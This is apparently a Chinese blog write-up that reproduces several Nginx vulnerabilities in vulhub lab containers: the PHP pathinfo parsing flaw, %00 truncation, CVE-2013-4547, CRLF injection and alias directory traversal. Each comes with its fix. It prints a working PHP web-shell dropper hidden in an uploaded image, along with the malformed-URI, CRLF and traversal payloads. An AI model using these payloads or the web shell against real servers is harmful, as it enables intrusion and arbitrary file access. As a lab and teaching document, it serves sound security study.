Nginx中间件漏洞复现

Nginx 解析漏洞

该漏洞与nginx、php版本无关,属于用户配置不当造成的解析漏洞。

漏洞原理:

该解析漏洞是PHP fastcgi 的漏洞,在PHP的配置文件 php.ini 中有一个关键的选项 cgi.fix_pathinfo 默认值为1,表示开启。同时在 php-fpm/www-2.conf 配置文件中的 security.limit_extensions 选项限制了 fastcgi 要解析的文件类型(如果该选项未开启,默认只解析.php)

当URL中有不存在的文件,PHP就会向前递归解析,当遇到文件路径 /test.png/x.php 时,若 x.php 不存在则会向前解析,判断 /test.png 是否存在,若存在,则把 /test.png 解析为 text.php,若不存在则继续向前解析。若是关闭该选项,访问 /test.jpg/x.php 只会返回找不到文件。

环境搭建:

靶场路径:

vulhub/nginx/nginx_parsing_vulnerability

启动容器

docker-compose up -d

在这里插入图片描述

复现过程:

直接访问
在这里插入图片描述
访问靶场的 /uploadfiles/nginx.png 目录
在这里插入图片描述
是一个正常的图片,在后面随便加一个 .php ,或者不加文件名也可以
在这里插入图片描述
可以看到图片被解析了,所以我们现在要做的就是上传一个图片马到这个网站上,然后在上传的图片马路径后面添加 /.php 来执行该文件,从而生成一个 shell.php。

回到靶场的上传页面,随便上传一张图片,抓包,在后面加上下面代码

<?php fputs(fopen('shell.php', 'w'), '<?php eval($_POST["111"])?>');?>

在这里插入图片描述
成功上传
在这里插入图片描述
接着访问目录
在这里插入图片描述
进容器看一下,成功生成了
在这里插入图片描述
蚁剑连接成功。
在这里插入图片描述

漏洞修复:

1、将php.ini文件中的cgi.fix_pathinfo的值设置为0
2、php-fpm/www-2.conf中的security.limit_extensions后面的值设置为.php
在这里插入图片描述

Nginx %00截断解析漏洞:

影响版本:

Nginx 0.5、0.6 、0.7 ~ 0.7.65、0.8 ~ 0.8.37

漏洞原理:

在fastcgi关闭的情况下,Nginx <=0.8.37 依然存在解析漏洞,在一个文件路径 /xx.jpg 后面加上 %00.php 会将 /xx.jpg%00.php 解析为xx.php文件。它的原理是在URL中加 %00 会被URL编码成 \0 ,在C语言中 \0 即为终止符,而Nginx是由C语言编写的,所以在读取时会认为文件名已经结束,从而绕过检测。

Nginx 文件名逻辑漏洞(CVE-2013-4547)

2013年底,nginx再次爆出解析漏洞(CVE-2013-4547),此漏洞可导致目录跨越及代码执行,影响范围较广。

影响版本:

Nginx 0.8.41 ~ 1.4.3 / 1.5.0 ~ 1.5.7

漏洞原理:

这个漏洞其实和代码执行没有太大关系,主要原因是错误地解析了请求的URI,错误地获取到用户请求的文件名,导致出现权限绕过、代码执行的连带影响。

举个例子,比如,Nginx匹配到.php结尾的请求,就发送给 fastcgi 进行解析,常见的写法如下:

location ~ \.php$ {
    include        fastcgi_params;

    fastcgi_pass   127.0.0.1:9000;
    fastcgi_index  index.php;
    fastcgi_param  SCRIPT_FILENAME  /var/www/html$fastcgi_script_name;
    fastcgi_param  DOCUMENT_ROOT /var/www/html;
}

正常情况下,只有.php后缀的文件才会被发送给 fastcgi 解析。

而存在 CVE-2013-4547 的情况下,请求1.gif[0x20][0x00].php,这个URI可以匹配上正则\.php$,可以进入这个Location块;但进入后,Nginx在查找文件的时候被 \0 截断,认为请求的文件是1.gif[0x20],就设置其为 SCRIPT_FILENAME 的值发送给fastcgi。fastcgi根据SCRIPT_FILENAME的值进行解析,最后造成了解析漏洞。

注:[0x20]即16进制的20,代表空格;[0x00]即16进制的00,代表\0。

\0 的作用大家应该知道,那为什么要加空格呢?正常情况下nginx遇到 \0 会判断为非法字符报错,但在检查到URI中有空格则会进入到sw_check_uri_http_09的逻辑中,则不会报错。详细可以看这篇文章:文章链接

关于目录跨越的原理与此类似,举例:比如很多网站限制了允许访问后台的IP:

location /admin/ {
    allow 127.0.0.1;
    deny all;
}

我们可以请求如下URI:/test[0x20]/../admin/index.php,这个URI不会匹配上 location 后面的 /admin/,也就绕过了其中的IP验证;最后请求的是 /admin/index.php,成功访问到后台。(前提是需要有一个目录叫 test,这是Linux系统的特点,如果有一个不存在的目录,则即使跳转到上一层,也会爆文件不存在的错误,Windows下没有这个限制)

环境搭建:

靶场路径:

vulhub/nginx/CVE-2013-4547

启动容器

docker-compose up -d

在这里插入图片描述

复现过程:

访问环境
在这里插入图片描述
这里存在限制只能上传图片,我们上传一个php探针的jpg文件,抓包添加空格
在这里插入图片描述
在这里插入图片描述
访问:http://192.168.50.131:8080/uploadfiles/1.jpg.php 抓包,添加两个空格,然后修改16进制值。
在这里插入图片描述
第二个20改为00,
在这里插入图片描述
成功解析
在这里插入图片描述
同样的可以利用前面提到的,生成 shell.php 然后菜刀连接。

Nginx 配置错误导致漏洞

环境搭建:

靶场路径:

vulhub/nginx/insecure-configuration

启动容器

docker-compose up -d

在这里插入图片描述

运行成功后,Nginx将会监听8080/8081/8082三个端口,分别对应三种漏洞。这里先复现前两个。

1、CRLF注入漏洞

CRLF是 “回车+换行”的简称(url编码为%0d%0a)。在HTTP协议中,HTTP Header 与 HTTP Body 是用两个CRLF分隔的,浏览器是根据两个CRLF(即 %0a%0d%0a%0d)来取出HTTP内容并显示出来。 所以,一旦能够控制HTTP消息头中的字符,通过注入一些恶意的换行,就能实现注入会话Cookie。

理论上,只要是可以设置HTTP头的场景都会出现这个问题。

示例,如果运维配置了下列的代码:

location / {
    return 302 https://$host$uri;
}

原本的目的是为了让http的请求跳转到https上,但Nginx会将 $uri 进行解码,导致传入%0d%0a即可引入换行符,造成CRLF注入漏洞。

Payload: http://your-ip:8080/%0d%0aSet-Cookie: a=1,可注入Set-Cookie头。
在这里插入图片描述
可以看到cookie设置成功了。(这里不太懂为什么%0d%0a只需要一个就可以)

漏洞修复

正确的做法应该是如下:

location / {
    return 302 https://$host$request_uri; //$request_uri不解码
}
2、目录穿越漏洞

假设静态文件存储在 /home/ 目录下,而该目录在url中名字为files,那么就需要用alias设置目录的别名:

location /files {
    alias /home/;
}

此时,访问 http://example.com/files/readme.txt,就可以获取/home/readme.txt文件。

但我们注意到,url上 /files 没有加后缀 /,而alias设置的 /home/ 是有后缀/的,这个 / 就导致我们可以从 /home/ 目录穿越到他的上层目录。

Payload: http://your-ip:8081/files…/ ,成功穿越到上层目录。
在这里插入图片描述
进而我们获得了一个任意文件下载漏洞。

如何解决这个漏洞?只需要保证location和alias的值都有后缀/或都没有这个后缀。

  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值